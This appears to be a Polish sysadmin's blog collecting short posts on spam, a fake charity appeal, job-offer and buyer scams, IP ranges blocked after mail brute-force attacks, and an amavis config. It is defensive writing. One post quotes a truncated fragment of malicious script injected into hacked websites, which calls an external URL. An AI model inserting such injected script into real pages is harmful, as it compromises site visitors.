Dostałem dzisiaj emaila z prośbą o wsparcie finansowe dla Pawełka Jędrzejczaka. Dziwne jest to, że email został wysłany na adres biuro@ a ja biura nie prowadzę - mój adres został kupiony od spamerów. Z logów serwera pocztowego widzę, że takie emaile są wysyłane MASOWO. Emaile są rozsyłane aż z dwóch wielu serwerów w Netarcie.

Podana w emailu domena dlapawelka.info.pl jest utrzymywana na serwerach home, ale odpowiada kodem 403 Forbidden, domeny zarejestrowane są przez spółkę z Warszawy zajmującą się transportem - obecnie w likwidacji (?), email wysłał gość z Leszna a dziecko niby ma być w Poznaniu.

Istnieją jeszcze co najmniej 2 domeny: dlapawelka.eu, dlapawelka.com.pl .

Skąd ja mam wiedzieć, czy Paweł Jędrzejczak istnieje i ten email nie jest wyłudzeniem pieniędzy?
I skąd ja mam wiedzieć, że pieniądze pójdą na leczenie a nie na kupno nowych usług spamerskich?

Update: 2015-01-13 Przypadkowo natknąłem się na informację, że poznańska policja prowadzi śledztwo w sprawie oszustwa. Poszkodowanych jest około 3000 osób.

info na temat włamania

mam wysiew "zaatakowanych" stron. bez zgadywania [hasel] z 1 ip. wymienia wszystkie htmle/phpy. najprawdopodobniej login / hasło (do ftp) kradnie z historii poczty.

[script]var url="http://onmouseup.info/stats.php";...[/script]

Jeden z moich znajomych odsyła spamerom następujący liścik

dla wszystkich portów poczty: 25,110,143,465,587,993,995 oraz do .htaccessa przy webmailu:
42.48.0.0/15
110.52.0.0/15
115.48.0.0/12
118.112.0.0/13
125.40.0.0/13
182.128.0.0/12
183.0.0.0/10
222.136.0.0/13
Z tych sieci ostatnimi czasy widzę w logach mnóstwo ataków słownikowych na hasła userów poczty. I jak mówię "mnóstwo" to mam na myśli "o ja pierdolę".

który podszywa się pod twoją domenę w nagłówkach?

Dodając do konfiga następującą zmienną:

%smtp_reason_by_ccat = (
CC_VIRUS, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_BANNED, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_UNCHECKED, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_SPAM, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_SPAMMY, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_BADH.",2", 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_BADH, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_OVERSIZED, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
CC_CATCHALL, 'id=%n, %x see http://www.lemat.priv.pl/spam/',
);

informujemy, że przesłana do Państwa wiadomość zawiera informację handlową. Jeżeli nie są Państwo zainteresowani ofertą proszę o nie odczytywanie dalszej treści e-maila.

na polskich portalach allegro / otomoto też można znaleźć oszustów

polandjobb77.com, jobsmark.net, toppolandjob.com, youmarketjob.org, jobpilotpl.com, jobpolskapl.com, joberas.com
eceuropaeu.com, jobcenter-coordination.com, jobbankpoland.com, jobrapidopl.com, graftonpl.com, jobspolska.com

URL prowadzi do domeny: newsl5.net lub news-15.net. A ta na dzień dobry wyświetli wzruszającą historię matki z dzieckiem pochodzącą akurat z twojego miasta. I ta matka z dzieckiem miała przebłysk geniuszu i zapisała się do tego programu i obecnie zarabia grube setki dolców. Oczywiście nic nie robiąc.

Już od dłuższego czasu jak widzę spam z sieci należącej do home.pl to wrzucam na czarną listę cały IP, nie tylko domenę. Dlaczego? Bo home nie reaguje na spam. ja im zgłaszam spamerów a oni to olewają i spam cały czas płynie z tych samych IP, z tych samych domen. Jaki to ma skutek? Czarną listę kopiuję na wszystkie swoje serwery, udostępniam ją publicznie, ludzie ją pobierają - niewielu ale zawsze. Wrzucenie IPka na czarną oznacza, że nie tylko spamer będzie zablokowany na tych serwerach, które używają mojej listy - ale też wszyscy pozostali współdzielący z nim dany serwer.

Kiedyś home reagowało na spam a teraz...? Porażka.

A od teraz to nie będzie delistowania IPków hołma, Jak ktoś odziedziczy po spamerze to niech się home martwi jakością (a raczej brakiem) usługi. HOWGH.

zgłaszają się albo ze shackowanych kont na całym świecie albo z darmowych serwisów typu yahoo. I pytają się "chcę kupić twój towar, powiedz mi co to jest za towar, w jakiej ilości i po jakiej cenie możesz mi go sprzedać.". W łamanym polskim lub angielskim. Wysyłając towar za granice upewnij się, że kasę masz na swoim koncie.

ŹLE powiedziałem! Nigeryjczycy użyją do zapłaty skradzionej karty kredytowej, Pieniądze będziesz miał na koncie, wyślesz towar, następnie bank upomni się o skradzione pieniądze. A towar już będzie na miejscu i szukaj wiatru w polu.

"jak policja odnajduje ip internetu"

odpowiedź Lemata: Internet (IPv4) ma jakieś 4 miliardy adresów IP i są one powszechnie znane. Nie trzeba ich specjalnie szukać. ;)

do tms-work.com